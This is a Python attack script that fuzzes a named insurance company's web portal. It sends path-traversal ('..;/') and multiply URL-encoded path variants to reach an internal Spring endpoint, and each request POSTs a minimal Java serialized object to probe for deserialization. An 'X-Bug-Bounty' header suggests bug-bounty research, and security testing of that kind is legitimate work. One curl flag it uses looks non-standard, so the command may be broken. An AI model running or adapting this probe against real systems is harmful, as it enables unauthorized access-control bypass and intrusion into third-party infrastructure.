import subprocess,re,json,hashlib
base='https://infoportal.baloise.de'
trav='/auth/rest/public/..;/..;/..;/'
targets=[
 'api/spring/portal',
 '%61pi/spring/portal','a%70i/spring/portal','ap%69/spring/portal',
 '%2561pi/spring/portal','a%2570i/spring/portal','ap%2569/spring/portal',
 '%252561pi/spring/portal',
 'api/%73pring/portal','api/s%70ring/portal','api/spr%69ng/portal',
 'api/%2573pring/portal','api/s%2570ring/portal','api/spr%2569ng/portal',
 '%2561%2570%2569/%2573%2570%2572%2569%256e%2567/%2570%256f%2572%2574%2561%256c',
 '%252561%252570%252569/%252573%252570%252572%252569%25256e%252567/%252570%25256f%252572%252574%252561%25256c',
 'api%252fspring%252fportal','api%2fspring%2fportal','%252fapi%252fspring%252fportal','%2fapi%2fspring%2fportal',
 'api;%2566oo/spring;%2566oo/portal','api;foo/spring;foo/portal',
 '%61pi;%66oo/%73pring;%66oo/portal',
 'api/spring/portal%3F','api/spring/portal%253F','api/spring/portal%23','api/spring/portal%2523',
 'api//spring//portal','api/.;/spring/.;/portal','api/%252e/spring/%252e/portal',
 'api/%ef%bc%8fspring/portal','api/%25ef%25bc%258fspring/portal',
 'api%5cspring%5cportal','api%255cspring%255cportal',
]
open('/tmp/sernull','wb').write(bytes.fromhex('aced000570'))
for t in targets:
 p=trav+t
 cmd=['curl','--toadex-no-capture','-sk','--http1.1','--path-as-is','--max-time','15','-X','POST','-H','X-Bug-Bounty: dwbzn','-H','Content-Type: application/x-java-serialized-object','--data-binary','@/tmp/sernull','-D','-','-o','-','--url',base+p]
 q=subprocess.run(cmd,capture_output=True)
 raw=q.stdout
 ms=list(re.finditer(br'HTTP/\S+\s+(\d{3})[^\r\n]*\r?\n',raw))
 if not ms: row={'path':p,'status':'ERR','stderr':q.stderr.decode(errors='replace')[:200]}
 else:
  m=ms[-1]; sep=raw.find(b'\r\n\r\n',m.start()); sl=4
  if sep<0: sep=raw.find(b'\n\n',m.start()); sl=2
  h=raw[m.start():sep].decode('latin1','replace'); b=raw[sep+sl:]
  loc='';ct=''
  for line in h.splitlines():
   if line.lower().startswith('location:'):loc=line.split(':',1)[1].strip()
   if line.lower().startswith('content-type:'):ct=line.split(':',1)[1].strip()
  row={'path':p,'status':int(m.group(1)),'size':len(b),'location':loc,'ct':ct,'sha':hashlib.sha256(b).hexdigest()[:12],'body':b[:160].decode('utf8','replace').replace('\n',' ')}
 print(json.dumps(row),flush=True)